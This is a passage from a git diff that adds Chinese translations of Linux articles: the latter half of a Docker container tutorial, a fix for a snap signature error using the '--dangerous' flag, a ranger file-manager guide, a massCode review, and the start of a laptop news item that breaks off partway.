+现在就可以在容器里面工作了。当你完成容器内的工作后,你可以回到主机操作系统的终端(在我这个例子中,操作系统是 Ubuntu 22.04 LTS)而不需要关掉容器(客户机)。 + +##### 4.2、从运行中的容器中脱离 + +使用 `CTRL+P` 然后 `CTRL+Q` 就可以从运行中的容器脱离(不需要关闭)。 + +现在,你就回到了你原来的主机的终端窗口。请注意,容器还在后台运行中,我们并没有关掉它。 + +##### 4.3、使用镜像 ID 运行容器 + +另一种启动容器并且连接进去的方式是通过使用镜像 ID,像下面这样: + +``` +$ sudo docker run -it 20fffa419e3a /bin/bash +``` + +这里, + +* `20fffa419e3a` - 镜像 ID + +按 `CTRL+P` 然后 `CTRL+Q` 可以从当前容器中脱离回到主机系统的终端。我们只是从容器中脱离,但是没有让它停止。容器仍然在后台运行中。 + +##### 4.4. 在脱离模式中运行容器 + +在前面的小结中,我们启动了一个容器并且立刻连接了进去。然后当容器中的工作结束后,我们从容器中脱离了出来。 + +你也可以在脱离模式(不需要自动连接进去)中启动容器。 + +在后台运行一个容器,输入命令: + +``` +$ sudo docker run -it -d alpine:latest +``` + +输出结果: + +``` +d74f2ceb5f3ad2dbddb0b26e372adb14efff91e75e7763418dbd12d1d227129d +``` + +上面输出结果的前 12 字符代表的是容器的 ID。 + +通过 `docker ps` 命令,你可以验证容器是否在运行: + +``` +$ sudo docker ps +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +d74f2ceb5f3a alpine:latest "/bin/sh" 3 seconds ago Up 2 seconds zen_pascal +``` + +![Run Containers In Background][9] + +从上面个的输出结果中可以看到,我们创建了一个 Alpine 容器,但是还没有连接进去。 + +如果你想连接进去,很简单,运行: + +``` +$ sudo docker attach d74f2ceb5f3a +``` + +#### 5、查看运行中的容器 + +查看运行中的容器,运行下面的命令: + +``` +$ sudo docker ps +``` + +输出结果: + +``` +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +f7e04eed577e 20fffa419e3a "/bin/bash" 6 minutes ago Up 6 minutes brave_mclean +2f2a5b826762 ubuntu:latest "/bin/bash" 18 minutes ago Up 18 minutes hungry_leavitt +``` + +![View Running Containers][10] + +这里, + +* `f7e04eed577e` 是由镜像 `2f2a5b826762` 创建的 Ubuntu 容器的 ID。并且,`brave_mclean` 是这个容器的名字。 +* `2f2a5b826762` 是由镜像 “ubuntu:latest” 创建的 Ubuntu 容器的 ID。并且,`hungry_leavitt` 是这个容器的名字。 + +当一个新容器被创建后,会赋给它一个唯一的 ID 和名字,这样我们就能通过它的 ID 和名字来连接它。 + +**注意:请注意容器 ID 和 Docker 镜像 ID 是不同的**。 + +列出所有可用的(运行或者停止)容器,运行: + +``` +$ sudo docker ps -a +``` + +#### 6、从运行中的容器脱离或连接 + +首先,通过 `docker ps` 命令找到容器的 ID。 + +``` +$ sudo docker ps +``` + +然后,运行 `docker attach` 命令连接到运行中的容器。 + +``` +$ sudo docker attach +``` + +比如像下面这样,我要连接到 ID 为 `f7e04eed577e` 的容器: + +``` +$ sudo docker attach f7e04eed577e +``` + +你也可以通过使用它的名字连接到一个容器。 + +``` +$ sudo docker attach brave_mclean +``` + +现在你就登录到这个容器了。 + +想要从容器脱离,只要按 `CTRL+P` 然后 `CTRL+Q`。 + +#### 7、启动、重启、暂停和终止容器 + +你可以使用容器的名字或 ID 来启动,重启,暂停或者终止一个 Docker 容器。 + +首先,通过 `docker ps -a` 命令找到容器的名字或 ID。 + +![Find Container ID And Name][11] + +现在,通过使用 `docker start` 命令,加上名字或 ID,你可以启动一个容器,像下面这样: + +``` +$ sudo docker start modest_cray +``` + +``` +$ sudo docker start 10615254bb45 +``` + +用空格隔开,就可以**启动多个容器**,像下面这样: + +``` +$ sudo docker start 24b5ee8c3d3a 56faac6d20ad d74f2ceb5f3a +``` + +优雅的重启一个运行中的容器,运行: + +``` +$ sudo docker start 10615254bb45 +``` + +暂停一个运行中的容器: + +``` +$ sudo docker pause 10615254bb45 +``` + +把暂停的容器恢复过来: + +``` +$ sudo docker unpause 10615254bb45 +``` + +直到其它容器都停止前,阻塞一个容器: + +``` +$ sudo docker wait 10615254bb45 +``` + +我们可以很容易地通过使用它的名字或 ID 来终止一个容器。如果你已经在容器的 shell 里了,只需要运行下面的命令就可以非常简单的终止: + +``` +# exit +``` + +你也可以使用下面的命令从 Docker 的主机系统中终止(关闭容器)容器: + +``` +$ sudo docker stop 10615254bb45 +``` + +用空格隔开,你可以退出多个容器,像下面这样。 + +``` +$ sudo docker stop 35b5ee8c3d3a 10615254bb45 +``` + +在退出容器之后,通过列出所有容器的命令来确保它确实被终止了: + +``` +$ sudo docker ps +``` + +#### 8、强行关闭 Docker 容器 + +`docker stop` 命令可以非常优雅的关掉运行中的容器。有时候,你可能卡在一个没有响应的容器,或者你想强制关掉容器。 + +通过给一个运行中的容器发送 `SIGKILL` 来强行关闭容器,运行: + +``` +$ sudo docker kill 10615254bb45 +``` + +#### 9、在关闭容器后自动删除他们 + +也许你想测试一个容器,然后当你完成在容器中的工作就把它删掉。如果是这样,通过使用 `--rm` 标签在关闭后自动删掉容器: + +``` +$ sudo docker run -it --rm debian:latest +``` + +当你从容器中退出,它会自动被删掉。 + +![Automatically Delete Containers][12] + +从上面的结果可以看到,我先创建了一个新的 Debian 容器。当我退出这个容器的时候,它就被自动删掉了。`docker ps -a` 命令的输出结果显示,Debian 容器现在不存在。 + +#### 10、给容器命名 + +如果你再看一下之前命令的输出结果,当你启动一个容器的时候,每个容器都被赋予了一个随机的名字。如果你不命名你的容器,Docker 会自动替你给他们命名。 + +现在看一下下面的例子: + +``` +$ sudo docker run -it -d alpine:latest +2af79e97a825c91bf374b4862b9e7c22fc22acd1598005e8bea3439805ec335d +``` + +``` +$ sudo docker run -it -d alpine:latest +80b53b7e661d33696b65c78267fc3f067b6100799c925910db4721963e3fae0a +``` + +``` +$ sudo docker ps +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +80b53b7e661d alpine:latest "/bin/sh" 3 seconds ago Up 2 seconds bold_margulis +2af79e97a825 alpine:latest "/bin/sh" 6 seconds ago Up 5 seconds recursing_taussig +``` + +从上面的结果可以看到,尽管我用同一个 Docker 镜像创建了两个容器,它们获得了不同的 ID 和名字。 + +如果你想给容器赋一个不变的名字,使用 `--name` 标签,像下面这样: + +``` +$ sudo docker run -it -d --name ostechnix_alpine alpine:latest +``` + +上面的命令会在脱离模式中创建一个叫做 `ostechnix_alpine` 的新容器。 + +我们看一下当前运行的容器列表: + +``` +$ sudo docker ps +``` +输出结果: + +``` +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +397111fac537 alpine:latest "/bin/sh" 2 seconds ago Up 2 seconds ostechnix_alpine +80b53b7e661d alpine:latest "/bin/sh" 7 minutes ago Up 7 minutes bold_margulis +2af79e97a825 alpine:latest "/bin/sh" 7 minutes ago Up 7 minutes recursing_taussig +``` + +![Assign Name To Containers][13] + +注意到上面输出结果中的第一个容器的名字了吗?对了,我们给这个容器分配了一个自定义的名字(也就是 `ostechnix_alpine`)。 + +给容器分配自定义的名字可以给我们带来其他好处。只要看一下容器的名字,我们就能很容易的确定那个容器里面安装了什么。 + +#### 11、构建自定义 Docker 镜像 + +Docker 不仅仅是下载和使用已存在的容器。你也可以创建自己的自定义 Docker 镜像。 + +现在我们开始一个 Ubuntu 容器: + +``` +$ sudo docker run -it ubuntu:latest +``` + +现在,你会进入到容器的 shell。 + +然后,在容器中,你可以安装任何的软件或者做你想做的事情。 + +比如,我们在容器中安装 Apache Web 服务器。 + +``` +# apt update +# apt install apache2 +``` + +相似地,在容器中,可以根据自己的需要安装和测试软件。 + +完成以后,从容器脱离(不要退出)回到主机系统的 shell。不要终止或者关闭容器。使用 `CTRL+P` 然后 `CTRL+Q` 从容器中脱离,这样不会关闭容器。 + +在你的 Docker 主机的终端,运行下面的命令来找到容器 ID: + +``` +$ sudo docker ps +``` + +最后,创建一个当前运行中的容器的 Docker 镜像,使用命令: + +``` +$ sudo docker commit 377e6d77ebb5 ostechnix/ubuntu_apache +``` + +输出结果: + +``` +sha256:bc5e5f95ca592a3585fda2c5a40ec30c98e292046ef70390a2c3b7863cc6f7c1 +``` + +这里, + +* `377e6d77ebb5` – Ubuntu 容器的 ID。 +* `ostechnix` – 创建容器的用户的名字。 +* `ubuntu_apache` – 用户 `ostechnix` 创建的 Docker 镜像的名字。 + +现在我们查看一下新的 Docker 镜像是否被创建了,使用下面的命令: + +``` +$ sudo docker images +``` + +输出结果: + +``` +ostechnix/ubuntu_apache +``` + +![Build Custom Docker Images][14] + +从上面给的结果中可以看到,从运行中的容器创建的新 Docker 镜像已经在我们的 Docker 主机系统中了。 + +现在你就可以从这个新的 Docker 镜像创建行容器了,用之前的命令: + +``` +$ sudo docker run -it ostechnix/ubuntu_apache +``` + +#### 12、移除容器 + +当你在 Docker 容器中完成所有开发后,如果你不需要它们了,你可以删掉它们。 + +为此,首先我们需要终止(关闭)运行中的容器。 + +用这个命令来看一下运行中的容器: + +``` +$ sudo docker ps +``` + +输出结果: + +``` +CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES +377e6d77ebb5 ubuntu:latest "bash" 7 minutes ago Up 7 minutes elegant_beaver +``` + +通过使用它的 ID 来终止运行中的容器: + +``` +$ sudo docker stop 377e6d77ebb5 +``` + +现在,使用这个命令删除容器: + +``` +$ sudo docker rm 377e6d77ebb5 +``` + +同样,如果不再需要所有的容器,关闭并删除它们。 + +一个一个的删除多个容器会是一项繁琐的工作。所以,我们可以把所有停止的容器一次性删掉,运行: + +``` +$ sudo docker container prune +``` + +敲 `Y` 然后回车键,这些容器就被删掉了。 + +``` +WARNING! This will remove all stopped containers. +Are you sure you want to continue? [y/N] y +Deleted Containers: +397111fac5374921b974721ee646b2d5fbae61ca9c6e8b90fbf47952f382a46b +80b53b7e661d33696b65c78267fc3f067b6100799c925910db4721963e3fae0a +[...] +Total reclaimed space: 176B +``` + +![Delete Containers][15] + +这个命令只有在最新版中有效。 + +使用下面的命令来验证是否所有容器都被删除了: + +``` +$ sudo docker ps -a +``` + +如果看不到任何结果,说明所有容器被删掉了。 + +#### 13、删除 Docker 镜像 + +记住,在删除所有镜像之前,首先要删掉所有从那些镜像创建的容器。 + +当你删掉容器后,你可以删掉你不需要的 Docker 镜像。 + +列出所有下载的 Docker 镜像: + +``` +$ sudo docker images +``` + +输出结果: + +``` +REPOSITORY TAG IMAGE ID CREATED SIZE +ostechnix/ubuntu_apache latest bc5e5f95ca59 14 minutes ago 229MB +debian latest d2780094a226 11 days ago 124MB +ubuntu latest 27941809078c 3 weeks ago 77.8MB +ubuntu 20.04 20fffa419e3a 3 weeks ago 72.8MB +alpine latest e66264b98777 5 weeks ago 5.52MB +``` + +从上面可以看到,在我们的主机上有 5 个 Docker 镜像。 + +通过使用镜像 ID 来删掉它们: + +``` +$ sudo docker rmi ce5aa74a48f1 +``` + +输出结果: + +``` +Untagged: ostechnix/ubuntu_apache:latest +Deleted: sha256:bc5e5f95ca592a3585fda2c5a40ec30c98e292046ef70390a2c3b7863cc6f7c1 +Deleted: sha256:a8e4797160a2b2d33d8bd1bd67e008260c022b3a53fbcc198b2b74d9eae5961d +``` + +同样,删除其他所有 Docker 镜像。 + +删掉所有未运行的容器、所有镜像、构建的缓存、所有网络,运行: + +``` +$ sudo docker system prune -a +``` + +使用这个命令的时候要注意,它会删掉所有没有使用的容器、网络、镜像(包括 挂起dangling未使用unreferenced 的) + +![Delete Everything In Docker][16] + +默认情况下,即使当前没有容器在使用磁盘卷volumes,为防止重要数据被删除,磁盘卷也不会被删除。 + +如果你想删掉所有东西,包括分配的卷,使用 `--volumes` 标签。 + +``` +$ sudo docker system prune -a --volumes +``` + +### Docker 问题汇总 + +如果 Docker 镜像正在被运行或停止的容器使用,Docker 不会允许你删除这些镜像。 + +比如,当我尝试从一个以前的 Ubuntu 服务器上删除 ID 为 `b72889fa879c` 的 Docker 镜像。我会得到下面的错误: + +``` +Error response from daemon: conflict: unable to delete b72889fa879c (must be forced) - image is being used by stopped container dde4dd285377 +``` + +这是因为你想删除的 Docker 镜像正在被另一个容器使用。 + +所以,我们先查看一下运行中的容器,使用命令: + +``` +$ sudo docker ps +``` + +输出结果: + +![Show running docker containers][17] + +噢,没有运行中的容器。 + +我们在看一下所有的容器(运行和停止的),用这个命令: + +``` +$ sudo docker ps -a +``` + +输出结果: + +![Show running and stopped docker containers][18] + +可以看到,仍然有停止的容器在使用其中一个 Docker 镜像。所以,我们先把所有容器删掉。 + +比如: + +``` +$ sudo docker rm 12e892156219 +``` + +类似地,向上面那样,用对应容器的 ID 将它们都删除。 + +当把所有容器删掉后,移除掉 Docker 镜像。 + +比如: + +``` +$ sudo docker rmi b72889fa879c +``` + +就这么简单。现在确认是否还有其他 Docker 镜像在主机上,使用命令: + +``` +$ sudo docker images +``` + +你现在应该不再有任何 docker 镜像了。 + +### 总结 + +在这篇全面的 Docker 入门教程中,我们解释了 Docker 的基本操作,比如创建、运行、搜索、删除容器,还有从 Docker 镜像构建你自己的容器。同时,我们也解释了如何在不需要 Docker 容器和镜像的时候删除它们。 + +希望你现在对 **Docker 的使用** 有一个基本的了解。 + +更多细节,请参考这篇教程最下面的官方资源链接,或者在下面的评论区进行评论。 + +### 相关资料 + +* [Docker 官网][19] +* [Docker 文档][20] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/getting-started-with-docker/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[MCGA](https://github.com/Yufei-Yan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/install-docker-almalinux-centos-rocky-linux/ +[2]: https://ostechnix.com/install-docker-ubuntu/ +[3]: https://hub.docker.com/ +[4]: https://ostechnix.com/wp-content/uploads/2022/07/Search-Docker-Images.png +[5]: https://ostechnix.com/wp-content/uploads/2022/07/Download-Docker-Images.png +[6]: https://ostechnix.com/wp-content/uploads/2022/07/List-Docker-Images.png +[7]: https://ostechnix.com/wp-content/uploads/2022/07/Docker-Image-Tag-and-ID.png +[8]: https://ostechnix.com/wp-content/uploads/2022/07/Run-Containers-Using-Tag-1.png +[9]: https://ostechnix.com/wp-content/uploads/2022/07/Run-Containers-In-Background-1.png +[10]: https://ostechnix.com/wp-content/uploads/2022/07/View-Running-Containers.png +[11]: https://ostechnix.com/wp-content/uploads/2022/07/Find-Container-ID-And-Name.png +[12]: https://ostechnix.com/wp-content/uploads/2022/07/Automatically-Delete-Containers.png +[13]: https://ostechnix.com/wp-content/uploads/2022/07/Assign-Name-To-Containers.png +[14]: https://ostechnix.com/wp-content/uploads/2022/07/Build-Custom-Docker-Images.png +[15]: https://ostechnix.com/wp-content/uploads/2022/07/Delete-Containers.png +[16]: https://ostechnix.com/wp-content/uploads/2022/07/Delete-Everything-In-Docker.png +[17]: https://ostechnix.com/wp-content/uploads/2016/04/sk@sk-_005-1-1.jpg +[18]: https://ostechnix.com/wp-content/uploads/2016/04/sk@sk-_006-1.jpg +[19]: https://www.docker.com/ +[20]: https://docs.docker.com/ diff --git a/published/202207/20220704 Fixing -cannot find signatures with metadata for snap- Error in Ubuntu and other Linux.md b/published/202207/20220704 Fixing -cannot find signatures with metadata for snap- Error in Ubuntu and other Linux.md new file mode 100644 index 0000000000..8ca837d489 --- /dev/null +++ b/published/202207/20220704 Fixing -cannot find signatures with metadata for snap- Error in Ubuntu and other Linux.md @@ -0,0 +1,87 @@ +[#]: subject: "Fixing “cannot find signatures with metadata for snap” Error in Ubuntu and other Linux" +[#]: via: "https://itsfoss.com/snap-metadata-signature-error/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14815-1.html" + +修复 Ubuntu 中的 “cannot find signatures with metadata for snap” 错误 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/11/112312l4y0jf3gag8sam4g.jpg) + +前几天我试图安装 [massCode][1] 应用。对于安装,它提供了一个 Snap 文件以供下载。 + +当我尝试从 Snap 文件安装应用程序时: + +``` +sudo snap install snap_file +``` + +它给了我以下错误: + +``` +error: cannot find signatures with metadata for snap "masscode_2.6.1_amd64.snap" +``` + +![cannot find signature with metadata for snap][2] + +这很奇怪。[在 Ubuntu 中添加外部仓库][3] 时,你必须添加 GPG 密钥。但是这里的开发人员没有提供这样的东西。 + +“修复”简单易行。让我给你解释一下。 + +### 处理 “cannot find signatures with metadata for snap” 错误 + +这里其实不涉及签名。 + +发生的情况是你从第三方下载了 Snap 安装程序。 Ubuntu 中的 Snap 机制希望你从官方 Snap 商店获取 Snap 包。 + +由于它不是来自 Snap 商店,因此你会看到 “cannot find signatures with metadata for snap” 的错误消息。与大多数错误消息一样,这个错误消息不是描述性的。 + +那么,这里的解决方案是什么? + +任何未通过 Snap 商店分发的 Snap 包都必须使用 `--dangerous` 选项进行安装。这就是规则。 + +``` +sudo snap install --dangerous path_to_snap_file +``` + +这样,你告诉 Snap 包管理器显式安装 Snap 包。 + +在这里,我使用了这个选项并且能够成功地从它的 Snap 包中安装 massCode。 + +![installing third party snap packages][4] + +以这种方式安装 Snap 包有多“危险”?几乎和下载并 [安装 deb 格式安装包][5] 相同。 + +在我看来,如果你是从项目开发者的网站上下载 Snap 包,你已经在信任该项目了。在这种情况下,你可以使用 `--dangerous` 选项安装它。 + +当然,你应该首先搜索该软件包是否在 Snap 商店中可用: + +``` +snap find package_name +``` + +我希望这个快速的小技巧可以帮助你修复 Snap 错误。如果你有任何问题或建议,请告诉我。如果你想了解更多信息,请参阅 [这个使用 Snap 命令指南][6]。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/snap-metadata-signature-error/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://masscode.io/ +[2]: https://itsfoss.com/wp-content/uploads/2022/07/cannot-find-signature-with-metadata-for-snap-800x205.png +[3]: https://itsfoss.com/adding-external-repositories-ubuntu/ +[4]: https://itsfoss.com/wp-content/uploads/2022/07/installing-third-party-snap-packages-800x358.png +[5]: https://itsfoss.com/install-deb-files-ubuntu/ +[6]: https://itsfoss.com/use-snap-packages-ubuntu-16-04/ diff --git a/published/202207/20220704 Manage your files in your Linux terminal with ranger.md b/published/202207/20220704 Manage your files in your Linux terminal with ranger.md new file mode 100644 index 0000000000..585feda04a --- /dev/null +++ b/published/202207/20220704 Manage your files in your Linux terminal with ranger.md @@ -0,0 +1,116 @@ +[#]: subject: "Manage your files in your Linux terminal with ranger" +[#]: via: "https://opensource.com/article/22/7/manage-files-linux-terminal-ranger" +[#]: author: "Sumantro Mukherjee https://opensource.com/users/sumantro" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14835-1.html" + +用 ranger 在 Linux 终端管理你的文件 +====== + +> 试试这个轻量级的开源工具,不用离开终端就可以预览文件。 + +![Filing cabinet for organization][1] + +查看你的文件和文件夹的最基本方法是使用命令 `ls` 和 `ll`。但是有时候,我不仅想看到文件的元数据,还想一目了然地看到文件的内容。为此,我使用 ranger。 + +如果你喜欢在控制台中工作,并使用 [Vim][2] 或 Vi,而且你不想因为任何原因离开你的终端,那么 ranger 就是你最好的新朋友。ranger 是一个精简的文件管理器,它不仅可以让你浏览文件,还可以预览它们。ranger 与 rifle 捆绑在一起,rifle 是一个文件执行器,可以有效地选择与特定文件类型相关的程序。 + +### 在 Linux 上安装 ranger + +ranger 可以在 Fedora 或任何基于 RPM 的发行版中安装,方法是运行: + +``` +$ sudo dnf install ranger +``` + +ranger 也可以用于 [其他发行版和 macOS][3]。 + +### 第一次使用 ranger + +作为一个用户,你可以在你喜欢的终端上简单地输入 `ranger` 来启动 ranger。可以用方向键浏览。这张截图是一个很好的例子,我可以预览存储在 `Kernel-tests` 中的 `config.example` 文件的代码。 + +![Screenshot of terminal showing config.example highlighted and a preview of the file in the terminal to the right][4] + +选中任何文件并按下 `F4` 键,就可以打开你的默认编辑器,让你立即编辑这些文件! + +### 图像和视频怎么办? + +使用 [rifle][5] 和 ranger 可以让你快速找到与某一文件相关的程序。将鼠标悬停在图片上,然后试图打开它是非常简单的,只要点击回车即可。下面是它的样子: + +![Screenshot of a PNG file preview over a terminal window][6] + +在一个图像文件上点击 `i` 会给用户提供所有的 EXIF 数据。点击 `Shift+Enter` 将打开这个 PDF 文件。 + +![A screenshot showing a preview of a PDF file (tickets to a museum) floating over the terminal window][7] + +同样的组合键将在系统默认的支持该编解码器的视频播放器中打开并开始播放视频。下面的例子是一个 mp4 视频,它在 [VLC][8] 上播放得很好。 + +![Screenshot of a Bugcrowd University Cross Site Scripting video in VLC media player, previewed over the terminal][9] + +### 文件操作 + +除非 Vim 用户另有配置,否则下面的键绑定工作良好。 + +- `j`:下移 +- `k`:上移 +- `h`: 移动到父目录 +- `gg`:移到列表的顶部 +- `i`:预览文件 +- `r`:打开文件 +- `zh`:查看隐藏文件 +- `cw`:重命名当前文件 +- `yy`:复制文件 +- `dd`:剪切文件 +- `pp`:粘贴文件 +- `u`:撤销 +- `z`:改变设置 +- `dD`:删除文件 + +### 控制台命令 + +有时我在起草文章时,有一个文件夹包含某个软件的截图。通过点击空格选择或标记文件,然后输入 `:bulkrename`,可以帮助我把所有奇怪的时间戳变成如:lorax1、lorax2 等等。下面是一个例子。 + +![Screenshot of terminal showing timestamped files that can be renamed with the bulkrename command][10] + +其他有用的控制台命令包括: + +- `:openwith`:用你选择的程序打开一个选择的文件 +- `:touch FILENAME`:创建一个文件 +- `:mkdir FILENAME`:创建一个目录 +- `:shell `:在 shell 中运行一个命令 +- `:delete`:删除文件 + +### 在 tty2/3/4 中能工作吗? + +作为一个从事质量保证(QA)工作的人,我发现搜索日志和阅读日志从未如此简单。即使我的 Gnome 显示管理器崩溃了,我也可以切换到我的 tty2,用我的用户名和密码登录,并以超级用户权限启动 ranger,然后我就可以尽情地探索了! + +ranger 是一个很好的工具,可以在不离开终端的情况下处理文件。ranger 是精简的,也是可定制的,所以不妨一试吧! + +*图片来源:(Sumantro Mukherjee,CC BY-SA 4.0)* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/manage-files-linux-terminal-ranger + +作者:[Sumantro Mukherjee][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sumantro +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/files_documents_organize_letter.png +[2]: https://opensource.com/tags/vim +[3]: https://opensource.com/article/20/3/ranger-file-navigator +[4]: https://opensource.com/sites/default/files/2022-06/ranger%201.png +[5]: https://www.systutorials.com/docs/linux/man/1-rifle/ +[6]: https://opensource.com/sites/default/files/2022-06/ranger%202.png +[7]: https://opensource.com/sites/default/files/2022-06/ranger%203.png +[8]: https://opensource.com/article/21/2/linux-media-players +[9]: https://opensource.com/sites/default/files/2022-06/ranger%204.png +[10]: https://opensource.com/sites/default/files/2022-06/ranger%205.png diff --git a/published/202207/20220704 massCode- A Free and Open-Source Code Snippet Manager.md b/published/202207/20220704 massCode- A Free and Open-Source Code Snippet Manager.md new file mode 100644 index 0000000000..4ac978e0aa --- /dev/null +++ b/published/202207/20220704 massCode- A Free and Open-Source Code Snippet Manager.md @@ -0,0 +1,107 @@ +[#]: subject: "massCode: A Free and Open-Source Code Snippet Manager" +[#]: via: "https://itsfoss.com/masscode/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14827-1.html" + +massCode:一个自由开源的代码片段管理器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/14/151504ti9twf2u5kft2wh2.jpg) + +> massCode 是一个开源的代码片段管理器,使你能够涉足代码,提高生产力,并节省时间。 + +如果一个工具能让事情变得更快、更有效率,那对许多开发者来说就是救命稻草。 + +虽然有各种服务和平台试图使编码体验更快,但你仍然有其他几个选择可以考虑。 + +例如,代码片段管理器。使用代码片段管理器,你的目的是保存你想快速访问的代码片段。它更像是指定快捷方式,在你的程序中添加所需的代码。 + +这不是一个新的概念,但可用于这项工作的工具可能不完全是开源的。 + +幸运的是,我偶然发现了一个不错的项目,它为你提供了一个自由开源的片段管理器,即 massCode。 + +### massCode:跨平台的开源片段管理器 + +![masscode][1] + +massCode 是一个有用的代码片段管理器,具有一些基本功能。 + +它支持广泛的编程语言,还包括对 Markdown 的支持。你可以使用文件夹组织你的代码片段,添加标签等。 + +massCode 可用于 Linux、Windows 或 macOS。让我们来看看一些主要功能。 + +### massCode 的特点 + +![masscode screenshot][2] + +massCode 包括许多有用的功能。其中一些是: + +* 多层次的文件夹结构 +* 每个片段都可以存储在片段(标签)中 +* 集成的编码编辑器 [Ace][3] +* 代码格式化或高亮显示 +* 支持带预览的 Markdown +* 能够搜索片段 +* 给你的代码段添加描述,以了解它的用途 +* 各种深色/浅色主题可用 +* 能够从 [SnippetsLab][4] 迁移 +* 自动保存以帮助你保留你的工作 +* 将其与云同步文件夹整合 +* 支持 VSCode、Raycast 和 Alfred 的扩展 + +除了上述所有功能外,你还可以轻松地复制保存代码片段,只需点击一下。 + +对于自定义,你可以调整字体大小和系列、切换自动换行、高亮显示行、使用单引号或添加尾随命令,这要归功于 [Prettier][5]。 + +此外,一份片段可以有多个分片。因此,它使你有机会将其用于各种用例。 + +如前所述,你也可以通过改变同步文件夹的存储位置将其与你的任何云同步服务整合。 + +![masscode migrate preferences][6] + +总的来说,它工作得很好,有一些局限性,比如缺乏将嵌套文件夹从 SnippetsLab 迁移到 masCode 的能力。 + +### 在 Linux 上安装 massCode + +massCode 有 [Snap 包][7],但不在 Snap 商店中。你可以直接下载该软件包,并使用以下命令来安装它: + +``` +sudo snap install --dangerous ~/Downloads/masscode_2.6.1_amd64.snap +``` + +我们的一份故障排除指南可以帮助你了解 [snap 的 dangerous 选项][8]。 + +你可以通过其 [官方网站][9] 或 [GitHub 发布区][10] 下载 Windows/MacOS 版。 + +> **[massCode][11]** + +你试过 massCode 吗?还有其他可用于 Linux 的代码片段管理器吗?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/masscode/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/07/masscode-screenshot-1.png +[2]: https://itsfoss.com/wp-content/uploads/2022/07/masscode-screenshot.png +[3]: https://github.com/ajaxorg/ace +[4]: https://apps.apple.com/us/app/snippetslab/id1006087419?mt=12 +[5]: https://prettier.io/ +[6]: https://itsfoss.com/wp-content/uploads/2022/07/masscode-migrate-preferences.jpg +[7]: https://itsfoss.com/install-snap-linux/ +[8]: https://itsfoss.com/snap-metadata-signature-error/ +[9]: https://masscode.io/ +[10]: https://github.com/massCodeIO/massCode/releases/tag/v2.6.1 +[11]: https://masscode.io/ diff --git a/published/202207/20220705 StarFighter- A Linux Laptop with a 4K 10-bit IPS Display is Coming Soon.md b/published/202207/20220705 StarFighter- A Linux Laptop with a 4K 10-bit IPS Display is Coming Soon.md new file mode 100644 index 0000000000..16800310e3 --- /dev/null +++ b/published/202207/20220705 StarFighter- A Linux Laptop with a 4K 10-bit IPS Display is Coming Soon.md @@ -0,0 +1,69 @@ +[#]: subject: "StarFighter: A Linux Laptop with a 4K 10-bit IPS Display is Coming Soon" +[#]: via: "https://news.itsfoss.com/starfighter-laptop-reveal/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14798-1.html" + +星际战机:配备 4K 10 位 IPS 显示屏的 Linux 笔记本电脑即将问世 +====== + +> “星际战机”是星空实验室即将推出的一款 Linux 笔记本电脑。他们正在最后确定生产细节,同时透露了一些关键的亮点。 + +![starfighter][1] + +我们已经有许多来自星空实验室、TUXEDO 等制造商的 Linux 专用笔记本电脑。 + +然而,其中只有少数几家专注于提供一个超棒的显示屏。 + +例如,[TUXEDO 的 Infinitybook Pro 14][2] 带有 3K 显示屏,而且,该笔记本电脑确实不错。 + +现在,看起来 [星空实验室][3] 将为其即将推出的 “星际战机” 笔记本电脑配备 15.6 英寸 4K 显示屏。他们在 [推特][4] 上分享了初步信息,提到他们正在敲定生产细节。 + +### 关于星际战机我们目前所知道的情况 + +这款笔记本电脑将采用 45W 供电的英特尔 / AMD 处理器,它将有英特尔 / AMD 两种变体可用。 + +你还将可以选择高达 64GB 的内存和 2TB 的存储。可以说,对于那些想为自己的 Linux 笔记本电脑提高规格的用户来说,这应该是一个强大的机器。 + +当然,它的关键亮点是显示屏。它将采用 4K 10 位哑光 IPS 显示屏。 